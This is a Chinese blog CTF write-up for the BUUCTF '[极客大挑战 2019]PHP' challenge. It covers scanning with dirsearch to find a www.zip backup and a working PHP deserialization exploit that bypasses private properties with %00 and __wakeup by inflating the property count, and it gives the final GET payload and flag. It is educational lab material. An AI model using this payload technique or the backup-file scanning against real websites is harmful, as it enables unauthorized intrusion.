当前位置: 首页 > news >正文

[极客大挑战 2019]PHP 1

题目环境:
image.png

注意这四个字“备份网站”,让我想到了之前自己做网站的时候,有一次上传FTP网站文件,不小心把全部网站文件清空了,我伤心欲绝没有做网站备份文件,自此以后我就把网站文件在本地备份了一份,每更新网站有一次就在本地备份一次,备份格式是ZIP格式,比较节省空间,所以我这猜测它网站后台必定又一个网站备份ZIP文件

使用dirsearch工具扫描网站后台(这个工具是我最喜欢的,扫描的比较全面,大部分都可以扫描到,博主有压缩文件可以私聊我进行领取!)
python dirsearch.py -u http://a02fc32b-1091-4b95-a4a1-27fb1bc51ba1.node4.buuoj.cn:81/
image.png
回车
image.png
大概需要好几分钟(需耐心等待)
扫描出www.zip压缩文件
image.png
下载www.zip文件
image.png
回车进行下载
image.png
假的flag文件
image.png
查看index.php文件
image.png

发现参数select(通过GET方式进行传参)
unserialize反序列化

查看class.php文件
image.png
一道反序列化题目(相对简单的反序列化题目)

PHP魔法函数以及其他函数的理解可以看这两篇文章:https://blog.csdn.net/m0_73734159/article/details/133854073?spm=1001.2014.3001.5502
https://blog.csdn.net/m0_73734159/article/details/130661423?spm=1001.2014.3001.5502
private私有变量,对象和变量名前需要用%00进行绕过
wakeup魔法函数,只需要大于实际变量数即可绕过,比如本题中有两个变量username和password,所以序列化就是O:4:“Name”:2:,O对象名,4就是Name是4个字符,2就是Name对象里面有两个变量,大于实际变量数即可绕过O:4:“Name”:3:
var_dump函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

想要于万军之中取flag首级(只须满足两个条件)

image.png
1、满足password=100
2、满足username=‘admin’

构造exp(取关键代码进行构造)
image.png

<?phpclass Name
{private $username = 'nonono';private $password = 'yesyes';public function __construct($username, $password){$this->username = $username;$this->password = $password;}
}
$flag=new Name('admin',100);
var_dump(serialize($flag));
?>

payload:
image.pngO:4:"Name":2:{s:14:"\000Name\000username";s:5:"admin";s:14:"\000Name\000password";i:100;}
绕过private和wakeup
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最终payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
上传payload:
image.png
得到flag:
flag{5750f1c4-ad75-42cf-9bd2-79e668cfc3a4}

相关文章:

  • IDEA取消git对项目的版本控制
  • Filebeat 日志采集利器(概念篇)
  • YOLOv7核心结构改进:借鉴YOLO-MS论文SOTA核心结构,针对YOLOv7结构专门改进升级版,即插即用打破性能瓶颈
  • apachesolr启动带调试
  • 【SWAT】SWAT-CUP动态基流分割相关说明
  • ONLYOFFICE:让办公触手可及,随时随地释放创造力
  • flutter项目引入本地静态图片资源并展示
  • js学习笔记
  • 从行车记录仪恢复已删除/丢失视频的方法
  • 加快网站收录 3小时百度收录新站方法
  • 【React-Native开发3D应用】React Native加载GLB格式3D模型并打包至Android手机端
  • Linux cat命令
  • 视频电影和字幕如何合并?
  • An error occurred while filtering resources
  • 【HarmonyOS】HarmonyOS备案获取公钥和指纹
  • 【译】React性能工程(下) -- 深入研究React性能调试
  • CAP 一致性协议及应用解析
  • export和import的用法总结
  • Git同步原始仓库到Fork仓库中
  • Hibernate【inverse和cascade属性】知识要点
  • Linux各目录及每个目录的详细介绍
  • magento 货币换算
  • markdown编辑器简评
  • Redis字符串类型内部编码剖析
  • vue自定义指令实现v-tap插件
  • 电商搜索引擎的架构设计和性能优化
  • 分享自己折腾多时的一套 vue 组件 --we-vue
  • 关于Android中设置闹钟的相对比较完善的解决方案
  • 前端每日实战:70# 视频演示如何用纯 CSS 创作一只徘徊的果冻怪兽
  • 前端相关框架总和
  • 应用生命周期终极 DevOps 工具包
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • ​​​​​​​​​​​​​​Γ函数
  • (4)(4.6) Triducer
  • (7)STL算法之交换赋值
  • (8)Linux使用C语言读取proc/stat等cpu使用数据
  • (pojstep1.3.1)1017(构造法模拟)
  • (zt)基于Facebook和Flash平台的应用架构解析
  • (分布式缓存)Redis哨兵
  • (附源码)ssm基于web技术的医务志愿者管理系统 毕业设计 100910
  • (附源码)计算机毕业设计大学生兼职系统
  • (九)One-Wire总线-DS18B20
  • (转)大道至简,职场上做人做事做管理
  • (转)详解PHP处理密码的几种方式
  • .net core Swagger 过滤部分Api
  • .net 获取url的方法
  • .NET/C# 项目如何优雅地设置条件编译符号?
  • @DataRedisTest测试redis从未如此丝滑
  • @reference注解_Dubbo配置参考手册之dubbo:reference
  • []我的函数库
  • [30期] 我的学习方法
  • [Android开源]EasySharedPreferences:优雅的进行SharedPreferences数据存储操作
  • [BUAA软工]第一次博客作业---阅读《构建之法》
  • [BZOJ1089][SCOI2003]严格n元树(递推+高精度)
  • [COI2007] Sabor